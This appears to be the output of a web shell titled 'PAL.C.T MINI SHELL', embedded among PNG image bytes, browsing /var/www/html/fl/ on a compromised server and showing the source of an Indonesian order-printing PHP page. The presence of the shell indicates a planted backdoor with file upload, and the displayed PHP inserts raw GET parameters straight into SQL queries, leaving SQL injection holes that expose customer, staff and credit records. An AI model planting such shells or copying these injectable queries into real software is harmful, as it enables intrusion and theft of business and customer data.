php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/fl/
upload
files >> /var/www/html/fl/cetak_orderan.php

<?php
include "konfig/koneksi.php";
include "konfig/library.php";
include "konfig/fungsi_rupiah.php";
include "konfig/fungsi_tanggal.php";

$id_staff = $_GET['id_staff'];
$id_status_lo = $_GET['id_status_lo'];
$id_customer = $_GET['id_customer'];
?>

<html>
<head>
	<title>Cetak Orderan</title>
	<link href="bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> 
	<link href="css/print.css" rel="stylesheet" type="text/css" /> 
	<script src="plugins/jQuery/jQuery-2.1.3.min.js"></script>
	<script src="bootstrap/js/bootstrap.min.js" type="text/javascript"></script>    
</head>
<body>
	<div class="container">
		<div class="row">
			<div class="col-xs-12">
				<?php
				if($id_staff==0){
					if($id_customer==0){
						if($id_status_lo==0){
							$tampil = mysql_query("SELECT * FROM list_orderan a, status_lo b WHERE a.id_status_lo=b.id_status_lo");
							echo"
							<h3>Data Orderan</h3>
							<table class='table table-striped'>
							<thead>
								<tr>
									<th width='100px'>No. Order</th>
									<th>Tgl</th>
									<th>Customer</th>
									<th>Staff</th>
									<th>Item</th>
									<th>Harga</th>
									<th>Tenor</th>
									<th>Kredit</th>
									<th>Sisa</th>
									<th>Status</th>
								</tr>
							</thead>
							<tbody>";
								while ($r=mysql_fetch_array($tampil)){
									$tanggal = DateToIndo2($r['tanggal']);
									$harga_produk = formatRupiah($r['harga_produk']);
									$kredit = formatRupiah($r['cicilan']);
									$sisa = formatRupiah($r['sisa']);
									
									$s=mysql_fetch_array(mysql_query("SELECT * FROM staff a, customer b WHERE a.id_staff=b.id_staff AND b.id_customer='$r[id_customer]'"));
									echo"	
										<tr>
											<td>$r[no_order]</td>
											<td>$tanggal</td>
											<td>$s[nama_toko]</td>
											<td>$s[nama_staff]</td>
											<td>$r[nama_produk]</td>
											<td>$harga_produk</td>
											<td>$r[tenor]</td>
											<td>$kredit</td>
											<td>$r[sisa]</td>
											<td>$r[nama_status_lo]</td>
										</tr>";
								}
							echo"</tbody>
							</table>";
						}
						else{
							$tampil = mysql_query("SELECT * FROM list_orderan a, status_lo b WHERE a.id_status_lo=b.id_status_lo AND a.id_status_lo='$id_status_lo'");
							$s=mysql_fetch_array(mysql_query("SELECT * FROM status_lo WHERE id_status_lo='$id_status_lo'"));
							echo"
							<h3>Data Orderan</h3>
							Status : $s[nama_status_lo]
							<table class='table table-striped'>
							<thead>
								<tr>
									<th width='100px'>No. Order</th>
									<th>Tgl</th>
									<th>Customer</th>
									<th>Staff</th>
									<th>Item</th>
									<th>Harga</th>
									<th>Tenor</th>
									<th>Kredit</th>
									<th>Sisa</th>
								</tr>
							</thead>
							<tbody>";
								while ($r=mysql_fetch_array($tampil)){
									$tanggal = DateToIndo2($r['tanggal']);
									$harga_produk = formatRupiah($r['harga_produk']);
									$kredit = formatRupiah($r['cicilan']);
									$sisa = formatRupiah($r['sisa']);
									
									$s=mysql_fetch_array(mysql_query("SELECT * FROM staff a, customer b WHERE a.id_staff=b.id_staff AND b.id_customer='$r[id_customer]'"));
									echo"	
										<tr>
											<td>$r[no_order]</td>
											<td>$tanggal</td>
											<td>$s[nama_toko]</td>
											<td>$s[nama_staff]</td>
											<td>$r[nama_produk]</td>
											<td>$harga_produk</td>
											<td>$r[tenor]</td>
											<td>$kredit</td>
											<td>$r[sisa]</td>
										</tr>";
								}
							echo"</tbody>
							</table>";
						}
					}
					else{
						if($id_status_lo==0){
							$tampil = mysql_query("SELECT * FROM list_orderan a, status_lo b WHERE a.id_status_lo=b.id_status_lo AND a.id_customer='$id_customer'");
							$c=mysql_fetch_array(mysql_query("SELECT * FROM customer a, staff b WHERE a.id_staff=b.id_staff AND a.id_customer='$id_customer'"));
							echo"
							<h3>Data Orderan</h3>
							Customer : $c[nama_toko]<br>
							Staff : $c[nama_staff]
							<table class='table table-striped'>
							<thead>
								<tr>
									<th width='100px'>No. Order</th>
									<th>Tgl</th>
									<th>Item</th>
									<th>Harga</th>
									<th>Tenor</th>
									<th>Kredit</th>
									<th>Sisa</th>
									<th>Status</th>
								</tr>
							</thead>
							<tbody>";
								while ($r=mysql_fetch_array($tampil)){
									$tanggal = DateToIndo2($r['tanggal']);
									$harga_produk = formatRupiah($r['harga_produk']);
									$kredit = formatRupiah($r['cicilan']);
									$sisa = formatRupiah($r['sisa']);
									
									echo"	
										<tr>
											<td>$r[no_order]</td>
											<td>$tanggal</td>
											<td>$r[nama_produk]</td>
											<td>$harga_produk</td>
											<td>$r[tenor]</td>
											<td>$kredit</td>
											<td>$r[sisa]</td>
											<td>$r[nama_status_lo]</td>
										</tr>";
								}
							echo"</tbody>
							</table>";
						}
						else{
							$tampil = mysql_query("SELECT * FROM list_orderan a, status_lo b WHERE a.id_status_lo=b.id_status_lo AND a.id_customer='$id_customer' AND a.id_status_lo='$id_status_lo'");
							
							$c=mysql_fetch_array(mysql_query("SELECT * FROM customer a, staff b WHERE a.id_staff=b.id_staff AND a.id_customer='$id_customer'"));
							$s=mysql_fetch_array(mysql_query("SELECT * FROM status_lo WHERE id_status_lo='$id_status_lo'"));
							echo"
							<h3>Data Orderan</h3>
							Customer : $c[nama_toko]<br>
							Staff : $c[nama_staff]<br>
							Status Orderan : $s[nama_status_lo]
							<table class='table table-striped'>
							<thead>
								<tr>
									<th width='100px'>No. Order</th>
									<th>Tgl</th>
									<th>Item</th>
									<th>Harga</th>
									<th>Tenor</th>
									<th>Kredit</th>
									<th>Sisa</th>
								</tr>
							</thead>
							<tbody>";
								while ($r=mysql_fetch_array($tampil)){
									$tanggal = DateToIndo2($r['tanggal']);
									$harga_produk = formatRupiah($r['harga_produk']);
									$kredit = formatRupiah($r['cicilan']);
									$sisa = formatRupiah($r['sisa']);
									
									echo"	
										<tr>
											<td>$r[no_order]</td>
											<td>$tanggal</td>
											<td>$r[nama_produk]</td>
											<td>$harga_produk</td>
											<td>$r[tenor]</td>
											<td>$kredit</td>
											<td>$r[sisa]</td>
										</tr>";
								}
							echo"</tbody>
							</table>";
						}
					}
					
				}
				else{
					if($id_customer==0){
						$customer = mysql_query("SELECT * FROM customer WHERE id_staff='$id_staff'");
						if($id_status_lo==0){
							$s = mysql_fetch_array(mysql_query("SELECT * FROM staff WHERE id_staff='$id_staff'"));
							echo"<h3>Data Orderan</h3>
								Staff : $s[nama_staff]<br>
								<table class='table table-striped'>
								<thead>
									<tr>
										<th width='100px'>No. Order</th>
										<th>Tgl</th>
										<th>Customer</th>
										<th>Item</th>
										<th>Harga</th>
										<th>Tenor</th>
										<th>Kredit</th>
										<th>Sisa</th>
										<th>Status</th>
									</tr>
								</thead>
								<tbody>";
								while($c=mysql_fetch_array($customer)){
									$d=mysql_fetch_array(mysql_query("SELECT * FROM list_orderan a, status_lo b WHERE a.id_status_lo=b.id_status_lo AND a.id_customer='$c[id_customer]'"));
									$ada = mysql_num_rows(mysql_query("SELECT * FROM list_orderan a, status_lo b WHERE a.id_status_lo=b.id_status_lo AND a.id_customer='$c[id_customer]'"));
									if($ada>0){
										$tanggal = DateToIndo2($d['tanggal']);
										$harga_produk = formatRupiah($d['harga_produk']);
										$kredit = formatRupiah($d['cicilan']);
										$sisa = formatRupiah($d['sisa']);
										echo"<tr>
										<td>$d[no_order]</td>
										<td>$tanggal</td>
										<td>$c[nama_toko]</td>
										<td>$d[nama_produk]</td>
										<td>$harga_produk</td>
										<td>$d[tenor]</td>
										<td>$kredit</td>
										<td>$d[sisa]</td>
										<td>$d[nama_status_lo]</td>
										</tr>";
									}
								}
								echo"</tbody>
								</table>";
						}
						else{
							$s = mysql_fetch_array(mysql_query("SELECT * FROM staff WHERE id_staff='$id_staff'"));
							$st = mysql_fetch_array(mysql_query("SELECT * FROM status_lo WHERE id_status_lo='$id_status_lo'"));
							echo"<h3>Data Orderan</h3>
								Staff : $s[nama_staff]<br>
								Status : $st[nama_status_lo]
								<table class='table table-striped'>
								<thead>
									<tr>
										<th width='100px'>No. Order</th>
										<th>Tgl</th>
										<th>Customer</th>
										<th>Item</th>
										<th>Harga</th>
										<th>Tenor</th>
										<th>Kredit</th>
										<th>Sisa</th>
									</tr>
								</thead>
								<tbody>";
								while($c=mysql_fetch_array($customer)){
									$d=mysql_fetch_array(mysql_query("SELECT * FROM list_orderan a, status_lo b WHERE a.id_status_lo=b.id_status_lo AND a.id_customer='$c[id_customer]' AND a.id_status_lo='$id_status_lo'"));
									$ada = mysql_num_rows(mysql_query("SELECT * FROM list_orderan a, status_lo b WHERE a.id_status_lo=b.id_status_lo AND a.id_customer='$c[id_customer]' AND a.id_status_lo='$id_status_lo'"));
									if($ada>0){
										$tanggal = DateToIndo2($d['tanggal']);
										$harga_produk = formatRupiah($d['harga_produk']);
										$kredit = formatRupiah($d['cicilan']);
										$sisa = formatRupiah($d['sisa']);
										echo"<tr>
										<td>$d[no_order]</td>
										<td>$tanggal</td>
										<td>$c[nama_toko]</td>
										<td>$d[nama_produk]</td>
										<td>$harga_produk</td>
										<td>$d[tenor]</td>
										<td>$kredit</td>
										<td>$d[sisa]</td>
										</tr>";
									}
								}
								echo"</tbody>
								</table>";
						}
					}
					
					else{
						if($id_status_lo==0){
							$tampil=mysql_query("SELECT * FROM list_orderan a, status_lo b WHERE a.id_status_lo=b.id_status_lo AND a.id_customer='$id_customer'");
							$c=mysql_fetch_array(mysql_query("SELECT * FROM customer a, staff b WHERE a.id_staff=b.id_staff AND a.id_customer='$id_customer'"));
							echo"
							<h3>Data Orderan</h3>
							Customer : $c[nama_toko]<br>
							Staff : $c[nama_staff]
							<table class='table table-striped'>
							<thead>
								<tr>
									<th width='100px'>No. Order</th>
									<th>Tgl</th>
									<th>Item</th>
									<th>Harga</th>
									<th>Tenor</th>
									<th>Kredit</th>
									<th>Sisa</th>
									<th>Status</th>
								</tr>
							</thead>
							<tbody>";
								while ($r=mysql_fetch_array($tampil)){
									$tanggal = DateToIndo2($r['tanggal']);
									$harga_produk = formatRupiah($r['harga_produk']);
									$kredit = formatRupiah($r['cicilan']);
									$sisa = formatRupiah($r['sisa']);
									
									echo"	
										<tr>
											<td>$r[no_order]</td>
											<td>$tanggal</td>
											<td>$r[nama_produk]</td>
											<td>$harga_produk</td>
											<td>$r[tenor]</td>
											<td>$kredit</td>
											<td>$r[sisa]</td>
											<td>$r[nama_status_lo]</td>
										</tr>";
								}
							echo"</tbody>
							</table>";
						}
						else{
							$tampil = mysql_query("SELECT * FROM list_orderan a, status_lo b WHERE a.id_status_lo=b.id_status_lo AND a.id_customer='$id_customer' AND a.id_status_lo='$id_status_lo'");
							
							$c=mysql_fetch_array(mysql_query("SELECT * FROM customer a, staff b WHERE a.id_staff=b.id_staff AND a.id_customer='$id_customer'"));
							$s=mysql_fetch_array(mysql_query("SELECT * FROM status_lo WHERE id_status_lo='$id_status_lo'"));
							echo"
							<h3>Data Orderan</h3>
							Customer : $c[nama_toko]<br>
							Staff : $c[nama_staff]<br>
							Status Orderan : $s[nama_status_lo]
							<table class='table table-striped'>
							<thead>
								<tr>
									<th width='100px'>No. Order</th>
									<th>Tgl</th>
									<th>Item</th>
									<th>Harga</th>
									<th>Tenor</th>
									<th>Kredit</th>
									<th>Sisa</th>
								</tr>
							</thead>
							<tbody>";
								while ($r=mysql_fetch_array($tampil)){
									$tanggal = DateToIndo2($r['tanggal']);
									$harga_produk = formatRupiah($r['harga_produk']);
									$kredit = formatRupiah($r['cicilan']);
									$sisa = formatRupiah($r['sisa']);
									
									echo"	
										<tr>
											<td>$r[no_order]</td>
											<td>$tanggal</td>
											<td>$r[nama_produk]</td>
											<td>$harga_produk</td>
											<td>$r[tenor]</td>
											<td>$kredit</td>
											<td>$r[sisa]</td>
										</tr>";
								}
							echo"</tbody>
							</table>";
						}
					}
				}
				?>
			</div>
		</div>
	</div>
</body>
</html>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`